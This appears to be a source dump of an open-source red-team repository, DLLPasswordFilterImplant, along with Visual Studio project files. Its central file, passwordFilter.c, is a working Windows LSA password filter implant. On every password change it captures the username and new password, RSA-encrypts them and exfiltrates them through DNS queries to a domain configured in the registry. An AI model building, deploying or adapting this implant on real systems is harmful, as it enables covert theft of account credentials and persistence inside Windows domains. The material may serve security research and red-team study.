├── .gitignore ├── DLLPasswordFilterImplant.sln ├── DLLPasswordFilterImplant ├── DLLPasswordFilterImplant.vcxproj ├── DLLPasswordFilterImplant.vcxproj.filters ├── crypt.c ├── crypt.h ├── passwordFilter.c ├── stdafx.h └── targetver.h ├── LICENSE ├── PoC ├── PoC.vcxproj ├── PoC.vcxproj.filters └── main.cpp ├── README.md └── scripts ├── dns.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.suo 8 | *.user 9 | *.userosscache 10 | *.sln.docstates 11 | 12 | # User-specific files (MonoDevelop/Xamarin Studio) 13 | *.userprefs 14 | 15 | # Build results 16 | [Dd]ebug/ 17 | [Dd]ebugPublic/ 18 | [Rr]elease/ 19 | [Rr]eleases/ 20 | x64/ 21 | x86/ 22 | bld/ 23 | [Bb]in/ 24 | [Oo]bj/ 25 | [Ll]og/ 26 | 27 | # Visual Studio 2015/2017 cache/options directory 28 | .vs/ 29 | # Uncomment if you have tasks that create the project's static files in wwwroot 30 | #wwwroot/ 31 | 32 | # Visual Studio 2017 auto generated files 33 | Generated\ Files/ 34 | 35 | # MSTest test Results 36 | [Tt]est[Rr]esult*/ 37 | [Bb]uild[Ll]og.* 38 | 39 | # NUNIT 40 | *.VisualState.xml 41 | TestResult.xml 42 | 43 | # Build Results of an ATL Project 44 | [Dd]ebugPS/ 45 | [Rr]eleasePS/ 46 | dlldata.c 47 | 48 | # Benchmark Results 49 | BenchmarkDotNet.Artifacts/ 50 | 51 | # .NET Core 52 | project.lock.json 53 | project.fragment.lock.json 54 | artifacts/ 55 | **/Properties/launchSettings.json 56 | 57 | # StyleCop 58 | StyleCopReport.xml 59 | 60 | # Files built by Visual Studio 61 | *_i.c 62 | *_p.c 63 | *_i.h 64 | *.ilk 65 | *.meta 66 | *.obj 67 | *.iobj 68 | *.pch 69 | *.pdb 70 | *.ipdb 71 | *.pgc 72 | *.pgd 73 | *.rsp 74 | *.sbr 75 | *.tlb 76 | *.tli 77 | *.tlh 78 | *.tmp 79 | *.tmp_proj 80 | *.log 81 | *.vspscc 82 | *.vssscc 83 | .builds 84 | *.pidb 85 | *.svclog 86 | *.scc 87 | 88 | # Chutzpah Test files 89 | _Chutzpah* 90 | 91 | # Visual C++ cache files 92 | ipch/ 93 | *.aps 94 | *.ncb 95 | *.opendb 96 | *.opensdf 97 | *.sdf 98 | *.cachefile 99 | *.VC.db 100 | *.VC.VC.opendb 101 | 102 | # Visual Studio profiler 103 | *.psess 104 | *.vsp 105 | *.vspx 106 | *.sap 107 | 108 | # Visual Studio Trace Files 109 | *.e2e 110 | 111 | # TFS 2012 Local Workspace 112 | $tf/ 113 | 114 | # Guidance Automation Toolkit 115 | *.gpState 116 | 117 | # ReSharper is a .NET coding add-in 118 | _ReSharper*/ 119 | *.[Rr]e[Ss]harper 120 | *.DotSettings.user 121 | 122 | # JustCode is a .NET coding add-in 123 | .JustCode 124 | 125 | # TeamCity is a build add-in 126 | _TeamCity* 127 | 128 | # DotCover is a Code Coverage Tool 129 | *.dotCover 130 | 131 | # AxoCover is a Code Coverage Tool 132 | .axoCover/* 133 | !.axoCover/settings.json 134 | 135 | # Visual Studio code coverage results 136 | *.coverage 137 | *.coveragexml 138 | 139 | # NCrunch 140 | _NCrunch_* 141 | .*crunch*.local.xml 142 | nCrunchTemp_* 143 | 144 | # MightyMoose 145 | *.mm.* 146 | AutoTest.Net/ 147 | 148 | # Web workbench (sass) 149 | .sass-cache/ 150 | 151 | # Installshield output folder 152 | [Ee]xpress/ 153 | 154 | # DocProject is a documentation generator add-in 155 | DocProject/buildhelp/ 156 | DocProject/Help/*.HxT 157 | DocProject/Help/*.HxC 158 | DocProject/Help/*.hhc 159 | DocProject/Help/*.hhk 160 | DocProject/Help/*.hhp 161 | DocProject/Help/Html2 162 | DocProject/Help/html 163 | 164 | # Click-Once directory 165 | publish/ 166 | 167 | # Publish Web Output 168 | *.[Pp]ublish.xml 169 | *.azurePubxml 170 | # Note: Comment the next line if you want to checkin your web deploy settings, 171 | # but database connection strings (with potential passwords) will be unencrypted 172 | *.pubxml 173 | *.publishproj 174 | 175 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 176 | # checkin your Azure Web App publish settings, but sensitive information contained 177 | # in these scripts will be unencrypted 178 | PublishScripts/ 179 | 180 | # NuGet Packages 181 | *.nupkg 182 | # The packages folder can be ignored because of Package Restore 183 | **/[Pp]ackages/* 184 | # except build/, which is used as an MSBuild target. 185 | !**/[Pp]ackages/build/ 186 | # Uncomment if necessary however generally it will be regenerated when needed 187 | #!**/[Pp]ackages/repositories.config 188 | # NuGet v3's project.json files produces more ignorable files 189 | *.nuget.props 190 | *.nuget.targets 191 | 192 | # Microsoft Azure Build Output 193 | csx/ 194 | *.build.csdef 195 | 196 | # Microsoft Azure Emulator 197 | ecf/ 198 | rcf/ 199 | 200 | # Windows Store app package directories and files 201 | AppPackages/ 202 | BundleArtifacts/ 203 | Package.StoreAssociation.xml 204 | _pkginfo.txt 205 | *.appx 206 | 207 | # Visual Studio cache files 208 | # files ending in .cache can be ignored 209 | *.[Cc]ache 210 | # but keep track of directories ending in .cache 211 | !*.[Cc]ache/ 212 | 213 | # Others 214 | ClientBin/ 215 | ~$* 216 | *~ 217 | *.dbmdl 218 | *.dbproj.schemaview 219 | *.jfm 220 | *.pfx 221 | *.publishsettings 222 | orleans.codegen.cs 223 | 224 | # Including strong name files can present a security risk 225 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 226 | #*.snk 227 | 228 | # Since there are multiple workflows, uncomment next line to ignore bower_components 229 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 230 | #bower_components/ 231 | 232 | # RIA/Silverlight projects 233 | Generated_Code/ 234 | 235 | # Backup & report files from converting an old project file 236 | # to a newer Visual Studio version. Backup files are not needed, 237 | # because we have git ;-) 238 | _UpgradeReport_Files/ 239 | Backup*/ 240 | UpgradeLog*.XML 241 | UpgradeLog*.htm 242 | ServiceFabricBackup/ 243 | 244 | # SQL Server files 245 | *.mdf 246 | *.ldf 247 | *.ndf 248 | 249 | # Business Intelligence projects 250 | *.rdl.data 251 | *.bim.layout 252 | *.bim_*.settings 253 | *.rptproj.rsuser 254 | 255 | # Microsoft Fakes 256 | FakesAssemblies/ 257 | 258 | # GhostDoc plugin setting file 259 | *.GhostDoc.xml 260 | 261 | # Node.js Tools for Visual Studio 262 | .ntvs_analysis.dat 263 | node_modules/ 264 | 265 | # Visual Studio 6 build log 266 | *.plg 267 | 268 | # Visual Studio 6 workspace options file 269 | *.opt 270 | 271 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 272 | *.vbw 273 | 274 | # Visual Studio LightSwitch build output 275 | **/*.HTMLClient/GeneratedArtifacts 276 | **/*.DesktopClient/GeneratedArtifacts 277 | **/*.DesktopClient/ModelManifest.xml 278 | **/*.Server/GeneratedArtifacts 279 | **/*.Server/ModelManifest.xml 280 | _Pvt_Extensions 281 | 282 | # Paket dependency manager 283 | .paket/paket.exe 284 | paket-files/ 285 | 286 | # FAKE - F# Make 287 | .fake/ 288 | 289 | # JetBrains Rider 290 | .idea/ 291 | *.sln.iml 292 | 293 | # CodeRush 294 | .cr/ 295 | 296 | # Python Tools for Visual Studio (PTVS) 297 | __pycache__/ 298 | *.pyc 299 | 300 | # Cake - Uncomment if you are using it 301 | # tools/** 302 | # !tools/packages.config 303 | 304 | # Tabs Studio 305 | *.tss 306 | 307 | # Telerik's JustMock configuration file 308 | *.jmconfig 309 | 310 | # BizTalk build output 311 | *.btp.cs 312 | *.btm.cs 313 | *.odx.cs 314 | *.xsd.cs 315 | 316 | # OpenCover UI analysis results 317 | OpenCover/ 318 | 319 | # Azure Stream Analytics local run output 320 | ASALocalRun/ 321 | 322 | # MSBuild Binary and Structured Log 323 | *.binlog 324 | 325 | # NVidia Nsight GPU debugger configuration file 326 | *.nvuser 327 | 328 | # MFractors (Xamarin productivity tool) working folder 329 | .mfractor/ -------------------------------------------------------------------------------- /DLLPasswordFilterImplant.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.28803.202 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DLLPasswordFilterImplant", "DLLPasswordFilterImplant\DLLPasswordFilterImplant.vcxproj", "{2E582235-9A63-4F77-B78A-7C5FCC913F52}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PoC", "PoC\PoC.vcxproj", "{4C8D865B-4F36-4096-B304-630496C33F44}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Debug|x64.ActiveCfg = Debug|x64 19 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Debug|x64.Build.0 = Debug|x64 20 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Debug|x86.ActiveCfg = Debug|x64 21 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Debug|x86.Build.0 = Debug|x64 22 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Release|x64.ActiveCfg = Release|x64 23 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Release|x64.Build.0 = Release|x64 24 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Release|x86.ActiveCfg = Release|Win32 25 | {2E582235-9A63-4F77-B78A-7C5FCC913F52}.Release|x86.Build.0 = Release|Win32 26 | {4C8D865B-4F36-4096-B304-630496C33F44}.Debug|x64.ActiveCfg = Debug|x64 27 | {4C8D865B-4F36-4096-B304-630496C33F44}.Debug|x64.Build.0 = Debug|x64 28 | {4C8D865B-4F36-4096-B304-630496C33F44}.Debug|x86.ActiveCfg = Debug|Win32 29 | {4C8D865B-4F36-4096-B304-630496C33F44}.Debug|x86.Build.0 = Debug|Win32 30 | {4C8D865B-4F36-4096-B304-630496C33F44}.Release|x64.ActiveCfg = Release|x64 31 | {4C8D865B-4F36-4096-B304-630496C33F44}.Release|x64.Build.0 = Release|x64 32 | {4C8D865B-4F36-4096-B304-630496C33F44}.Release|x86.ActiveCfg = Release|Win32 33 | {4C8D865B-4F36-4096-B304-630496C33F44}.Release|x86.Build.0 = Release|Win32 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {BF4614F3-3191-413F-B7B4-C17536592479} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /DLLPasswordFilterImplant/DLLPasswordFilterImplant.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {2E582235-9A63-4F77-B78A-7C5FCC913F52} 24 | Win32Proj 25 | Dll1 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | $(Platform)\$(Configuration)\ 76 | $(SolutionDir)bin\$(Platform)\$(Configuration)\ 77 | 78 | 79 | true 80 | $(SolutionDir)bin\$(Platform)\$(Configuration)\ 81 | 82 | 83 | false 84 | $(Platform)\$(Configuration)\ 85 | $(SolutionDir)bin\$(Platform)\$(Configuration)\ 86 | 87 | 88 | false 89 | $(SolutionDir)bin\$(Platform)\$(Configuration)\ 90 | 91 | 92 | 93 | Use 94 | Level3 95 | Disabled 96 | true 97 | WIN32;_DEBUG;DLL1_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 98 | true 99 | MultiThreadedDebug 100 | 101 | 102 | Windows 103 | true 104 | 105 | 106 | 107 | 108 | NotUsing 109 | Level3 110 | Disabled 111 | true 112 | _DEBUG;DLL1_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 113 | true 114 | MultiThreadedDebug 115 | 116 | 117 | Windows 118 | true 119 | kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;bcrypt.lib;%(AdditionalDependencies) 120 | 121 | 122 | 123 | 124 | NotUsing 125 | Level3 126 | MaxSpeed 127 | true 128 | true 129 | true 130 | WIN32;NDEBUG;DLL1_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 131 | true 132 | MultiThreaded 133 | 134 | 135 | Windows 136 | true 137 | true 138 | true 139 | Wininet.lib;Ntdll.lib;%(AdditionalDependencies) 140 | 141 | 142 | 143 | 144 | NotUsing 145 | Level3 146 | MaxSpeed 147 | true 148 | true 149 | true 150 | NDEBUG;DLL1_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 151 | true 152 | MultiThreaded 153 | 154 | 155 | Windows 156 | true 157 | true 158 | true 159 | Wininet.lib;Ntdll.lib;%(AdditionalDependencies) 160 | 161 | 162 | 163 | 164 | 165 | NotUsing 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | -------------------------------------------------------------------------------- /DLLPasswordFilterImplant/DLLPasswordFilterImplant.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 10 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 11 | 12 | 13 | 14 | 15 | Source Files 16 | 17 | 18 | Source Files 19 | 20 | 21 | 22 | 23 | Source Files 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /DLLPasswordFilterImplant/crypt.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "crypt.h" 7 | 8 | #pragma comment(lib, "bcrypt.lib") 9 | #pragma comment(lib, "Crypt32.lib") 10 | 11 | crypt_ctx_t* crypt_new(buffer_t* key) 12 | { 13 | DWORD res = 0, len = 0; 14 | CERT_PUBLIC_KEY_INFO* ki; 15 | 16 | res = CryptDecodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO, 17 | key->data, key->len, 18 | CRYPT_ENCODE_ALLOC_FLAG, // Windows will allocate the buffer. 19 | NULL, 20 | &ki, &len); 21 | 22 | crypt_ctx_t* ctx = HeapAlloc(GetProcessHeap(), 0, sizeof(crypt_ctx_t)); 23 | res = BCryptOpenAlgorithmProvider(&ctx->hAlg, BCRYPT_RSA_ALGORITHM, 0, 0); 24 | assert(BCRYPT_SUCCESS(res) || !"BCryptOpenAlgorithmProvider"); 25 | 26 | // Import public key into CNG. 27 | res = CryptImportPublicKeyInfoEx2(X509_ASN_ENCODING, ki, 0, NULL, &ctx->hKey); 28 | LocalFree(ki); 29 | 30 | return ctx; 31 | } 32 | 33 | void crypt_free(crypt_ctx_t* ctx) 34 | { 35 | assert(ctx != NULL); 36 | 37 | if (ctx->hAlg) BCryptCloseAlgorithmProvider(ctx->hAlg, 0); 38 | if (ctx->hKey) BCryptDestroyKey(ctx->hKey); 39 | HeapFree(GetProcessHeap(), 0, ctx); 40 | } 41 | 42 | buffer_t* buffer_new(size_t len) 43 | { 44 | assert(len > 0); 45 | HANDLE h = GetProcessHeap(); 46 | buffer_t* b = HeapAlloc(h, 0, sizeof(buffer_t)); 47 | b->data = HeapAlloc(h, 0, len); 48 | b->len = len; 49 | return b; 50 | } 51 | 52 | void buffer_free(buffer_t* buffer) 53 | { 54 | assert(buffer && buffer->data); 55 | HANDLE h = GetProcessHeap(); 56 | HeapFree(h, 0, buffer->data); 57 | HeapFree(h, 0, buffer); 58 | } 59 | 60 | buffer_t* crypt_rsa(crypt_ctx_t* ctx, buffer_t* plain) 61 | { 62 | DWORD res = 0, len = 0; 63 | BCRYPT_OAEP_PADDING_INFO padding; 64 | 65 | ZeroMemory(&padding, sizeof(padding)); 66 | padding.pszAlgId = BCRYPT_SHA1_ALGORITHM; 67 | 68 | // Get required buffer size. 69 | res = BCryptEncrypt(ctx->hKey, 70 | plain->data, plain->len, 71 | &padding, NULL, 0, NULL, 0, 72 | &len, BCRYPT_PAD_OAEP); 73 | 74 | // Allocated encrypted buffer. 75 | buffer_t* encrypted = buffer_new(len); 76 | res = BCryptEncrypt(ctx->hKey, 77 | plain->data, plain->len, 78 | &padding, NULL, 0, 79 | encrypted->data, encrypted->len, 80 | &len, BCRYPT_PAD_OAEP); 81 | 82 | return encrypted; 83 | } -------------------------------------------------------------------------------- /DLLPasswordFilterImplant/crypt.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef struct buffer_ { 6 | BYTE* data; 7 | size_t len; 8 | } buffer_t; 9 | 10 | typedef struct crypt_ctx_ { 11 | BCRYPT_ALG_HANDLE hAlg; 12 | BCRYPT_KEY_HANDLE hKey; 13 | BCRYPT_AUTH_TAG_LENGTHS_STRUCT auth_tag_lens; 14 | size_t block_len; 15 | } crypt_ctx_t; 16 | 17 | buffer_t* buffer_new(size_t len); 18 | void buffer_free(buffer_t* buffer); 19 | 20 | crypt_ctx_t* crypt_new(buffer_t* key); 21 | void crypt_free(crypt_ctx_t* ctx); 22 | buffer_t* crypt_rsa(crypt_ctx_t* ctx, buffer_t* plain); 23 | -------------------------------------------------------------------------------- /DLLPasswordFilterImplant/passwordFilter.c: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "crypt.h" 13 | 14 | #pragma comment(lib, "ws2_32.lib") 15 | 16 | #define MAX_LABEL_SIZE 62 17 | #define KEY_PATH "SYSTEM\\CurrentControlSet\\Control\\Lsa" 18 | 19 | #ifdef _DEBUG 20 | #define IS_DEBUG TRUE 21 | #else 22 | #define IS_DEBUG FALSE 23 | #endif // DEBUG 24 | 25 | FILE *pFile; 26 | struct addrinfo hints; 27 | struct addrinfo *result; 28 | 29 | // Default DllMain implementation 30 | BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 31 | { 32 | OutputDebugString(TEXT("DllMain")); 33 | switch (ul_reason_for_call) 34 | { 35 | case DLL_PROCESS_ATTACH: 36 | case DLL_THREAD_ATTACH: 37 | case DLL_THREAD_DETACH: 38 | case DLL_PROCESS_DETACH: 39 | break; 40 | } 41 | return TRUE; 42 | } 43 | 44 | __declspec(dllexport) BOOLEAN WINAPI InitializeChangeNotify(void) 45 | { 46 | if (IS_DEBUG) 47 | { 48 | //Initialize file for Debug 49 | errno_t test = fopen_s(&pFile, "c:\\windows\\temp\\logFile.txt", "w+"); 50 | } 51 | 52 | //Initialize Winsock 53 | errno_t err; 54 | WSADATA wsaData; 55 | err = WSAStartup(MAKEWORD(2, 2), &wsaData); 56 | 57 | if (err != 0) return -1; 58 | 59 | //Initialize variables for getaddrinfo call 60 | result = NULL; 61 | struct addrinfo *ptr = NULL; 62 | 63 | //Initialize hints 64 | ZeroMemory(&hints, sizeof(hints)); 65 | hints.ai_family = AF_INET; 66 | hints.ai_protocol = IPPROTO_UDP; 67 | hints.ai_socktype = SOCK_DGRAM; 68 | 69 | return TRUE; 70 | } 71 | 72 | __declspec(dllexport) BOOLEAN WINAPI PasswordFilter(PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOLEAN SetOperation) 73 | { 74 | return TRUE; 75 | } 76 | 77 | __declspec(dllexport) NTSTATUS WINAPI PasswordChangeNotify(PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword) 78 | { 79 | //Format data to send (UserName:Password) 80 | SIZE_T dataSize = (UserName->Length / 2) + (NewPassword->Length / 2) + 2; // 1 for ':' and another for the nullbyte 81 | 82 | buffer_t* creds = buffer_new(dataSize); 83 | snprintf(creds->data, creds->len, "%wZ:%wZ", UserName, NewPassword); 84 | 85 | if (IS_DEBUG) 86 | { 87 | fprintf(pFile, "RawData: "); 88 | for (int i = 0; i < creds->len - 1; i++) { 89 | fprintf(pFile, "%c", creds->data[i]); 90 | } 91 | fprintf(pFile, "\n"); 92 | } 93 | 94 | //Get key from registry 95 | DWORD keyBufferSize; 96 | buffer_t* key; 97 | 98 | RegGetValue(HKEY_LOCAL_MACHINE, TEXT(KEY_PATH), TEXT("Key"), RRF_RT_REG_BINARY, NULL, NULL, &keyBufferSize); // Get buffer size 99 | key = buffer_new(keyBufferSize); 100 | RegGetValue(HKEY_LOCAL_MACHINE, TEXT(KEY_PATH), TEXT("Key"), RRF_RT_REG_BINARY, NULL, key->data, &keyBufferSize); // Get actual key value 101 | crypt_ctx_t* ctx = crypt_new(key); 102 | buffer_free(key); 103 | 104 | buffer_t* exfil = crypt_rsa(ctx, creds); 105 | buffer_free(creds); 106 | 107 | // Convert to hexadecimal. 108 | SIZE_T hexSize = 2*exfil->len + 1; // + 1 for null terminator. 109 | PSTR hexData = (PSTR)GlobalAlloc(GPTR, sizeof(BYTE) * hexSize); 110 | 111 | for (int i = 0; i < exfil->len; i++) 112 | snprintf(hexData + i * 2, hexSize, "%02x", exfil->data[i]); 113 | buffer_free(exfil); 114 | 115 | if (IS_DEBUG) 116 | { 117 | fprintf(pFile, "Hex: "); 118 | for (int i = 0; i < hexSize - 1; i++) 119 | { 120 | fprintf(pFile, "%c", hexData[i]); 121 | } 122 | fprintf(pFile, "\n"); 123 | } 124 | 125 | DWORD lenData = 0; 126 | for (int i = 0; i < (hexSize / (FLOAT) MAX_LABEL_SIZE); i++) { //Divide data into multiple requests if neccessary 127 | 128 | if ((i + 1) * MAX_LABEL_SIZE <= hexSize) 129 | { 130 | lenData = MAX_LABEL_SIZE; 131 | } 132 | else 133 | { 134 | lenData = (hexSize - 1) % MAX_LABEL_SIZE; 135 | if (lenData == 0) { 136 | break; 137 | } 138 | } 139 | 140 | //Select portion of data to be sent 141 | PSTR queryData; 142 | 143 | queryData = (PSTR)GlobalAlloc(GPTR, sizeof(BYTE) * lenData); 144 | 145 | for (int j = 0; j < lenData; j++) { 146 | queryData[j] = hexData[i * MAX_LABEL_SIZE + j]; 147 | } 148 | 149 | //Get domain from registry 150 | DWORD domainBufferSize; 151 | LPTSTR domain; 152 | 153 | RegGetValue(HKEY_LOCAL_MACHINE, TEXT(KEY_PATH), TEXT("Domain"), RRF_RT_ANY, NULL, NULL, &domainBufferSize); // Get buffer size 154 | 155 | domain = (LPTSTR)GlobalAlloc(GPTR, (sizeof(TCHAR) * (domainBufferSize + 1))); 156 | 157 | RegGetValue(HKEY_LOCAL_MACHINE, TEXT(KEY_PATH), TEXT("Domain"), RRF_RT_ANY, NULL, domain, &domainBufferSize); // Get actual domain value 158 | 159 | SIZE_T domainLength = _tcslen(domain); 160 | 161 | //Prepare query (requestNumber.data.domain.com) 162 | PSTR requestNumber; 163 | 164 | int digits = i, nbDigits = 1; 165 | while ((digits /= 10) > 0) nbDigits++; 166 | requestNumber = (PSTR)GlobalAlloc(GPTR, sizeof(BYTE) * nbDigits); 167 | snprintf(requestNumber, (SIZE_T) nbDigits + 1, "%d", i); // Format to char 168 | 169 | PSTR query; 170 | SIZE_T querySize = nbDigits + lenData + domainLength + 1; // + 1 for the '.' 171 | query = (PSTR)GlobalAlloc(GPTR, sizeof(BYTE) * querySize); 172 | 173 | for (int j = 0; j < nbDigits; j++) { //Append request number to query 174 | query[j] = requestNumber[j]; 175 | } 176 | 177 | GlobalFree(requestNumber); 178 | query[nbDigits] = '.'; 179 | 180 | for (int j = 0; j < lenData; j++) { //Append data to query 181 | query[j + nbDigits + 1] = queryData[j]; 182 | } 183 | 184 | GlobalFree(queryData); 185 | 186 | for (int j = 0; j < domainLength; j++) { //Append domain to query 187 | query[j + nbDigits + lenData + 1] = (CHAR)domain[j]; 188 | } 189 | GlobalFree(domain); 190 | 191 | query[querySize] = '\0'; //Append nullbyte to query 192 | 193 | if (IS_DEBUG) { 194 | fprintf(pFile, "Query: "); 195 | for (int q = 0; q < querySize; q++) { 196 | fprintf(pFile, "%c", query[q]); 197 | } 198 | fprintf(pFile, "\n"); 199 | } 200 | 201 | //Send request. 202 | DWORD returnValue = getaddrinfo(query, "53", &hints, &result); 203 | 204 | GlobalFree(query); 205 | } 206 | 207 | GlobalFree(hexData); 208 | crypt_free(ctx); 209 | 210 | //End 211 | WSACleanup(); 212 | if (IS_DEBUG) { 213 | fclose(pFile); 214 | } 215 | return 0; 216 | } 217 | -------------------------------------------------------------------------------- /DLLPasswordFilterImplant/stdafx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GoSecure/DLLPasswordFilterImplant/1ed6b088163a8e7752f71512b655a172b5f75972/DLLPasswordFilterImplant/stdafx.h -------------------------------------------------------------------------------- /DLLPasswordFilterImplant/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GoSecure/DLLPasswordFilterImplant/1ed6b088163a8e7752f71512b655a172b5f75972/DLLPasswordFilterImplant/targetver.h -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 GoSecure Inc 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PoC/PoC.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {4C8D865B-4F36-4096-B304-630496C33F44} 24 | PoC 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v142 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | $(SolutionDir)bin\$(Platform)\$(Configuration)\ 74 | $(Platform)\$(Configuration)\ 75 | 76 | 77 | $(SolutionDir)bin\$(Platform)\$(Configuration)\ 78 | $(Platform)\$(Configuration)\ 79 | 80 | 81 | $(SolutionDir)bin\$(Platform)\$(Configuration)\ 82 | 83 | 84 | $(SolutionDir)bin\$(Platform)\$(Configuration)\ 85 | 86 | 87 | 88 | Level3 89 | MaxSpeed 90 | true 91 | true 92 | true 93 | true 94 | MultiThreaded 95 | 96 | 97 | Console 98 | true 99 | true 100 | 101 | 102 | 103 | 104 | Level3 105 | Disabled 106 | true 107 | true 108 | 109 | 110 | Console 111 | 112 | 113 | 114 | 115 | Level3 116 | Disabled 117 | true 118 | true 119 | 120 | 121 | Console 122 | 123 | 124 | 125 | 126 | Level3 127 | MaxSpeed 128 | true 129 | true 130 | true 131 | true 132 | MultiThreaded 133 | 134 | 135 | Console 136 | true 137 | true 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | {2e582235-9a63-4f77-b78a-7c5fcc913f52} 146 | 147 | 148 | 149 | 150 | 151 | -------------------------------------------------------------------------------- /PoC/PoC.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 